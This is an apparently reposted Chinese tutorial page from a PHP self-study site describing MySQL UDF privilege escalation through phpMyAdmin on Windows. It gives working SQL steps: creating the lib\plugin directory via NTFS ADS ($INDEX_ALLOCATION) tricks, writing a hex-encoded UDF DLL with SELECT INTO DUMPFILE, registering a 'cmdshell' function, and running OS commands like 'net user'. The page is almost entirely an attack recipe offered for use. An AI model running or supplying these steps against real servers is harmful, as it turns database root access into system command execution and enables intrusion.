好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PhpMyAdmin UDF 提权 - 网站安全 - 自学php

[+]小菜文章,大牛飞过!!

适用环境:PhpMyAdmin 3.x  ,  MySQL>5.1  ,  无Shell  ,  无法爆绝对路径

前提条件: 有MYSQL的ROOT权限

思路:利用NTFS ADS创建 plugin目录 ---- 导出UDF

 

过程:

查询 select @@basedir  (或者 select @@datadir)

得到MySQL目录 C:\MySql\

假如该目录不存在\lib\plugin目录,利用ADS创建

查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';

此时会报错

ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)

但是lib目录已经创建了

再查询 

select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

 

导出UDF.DLL

随便选一个库

查询 CREATE TABLE Temp_udf(udf BLOB);

查询 INSERT into Temp_udf values (CONVERT($shellcode,CHAR));   //$shellcode请用UDF用hex 加密 后的代码

查询 SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--

注意:在后面记得要加 -- 否者会出错,我在此处浪费无限时间(>4h)

原因可能是PhpMyAdmin查询时会自动在语句末尾加上Limit 语句,导致出错

 

提权

查询 Create function cmdshell returns string soname 'udf.dll';  //此处不能填绝对路径 只能是dll名

查询 select * from mysql .func;                  //看看cmdshell function是否创立,创立就继续

查询 select cmdshell('net user');               //运行各种命令提权 

查看更多关于PhpMyAdmin UDF 提权 - 网站安全 - 自学php的详细内容...

  阅读:95次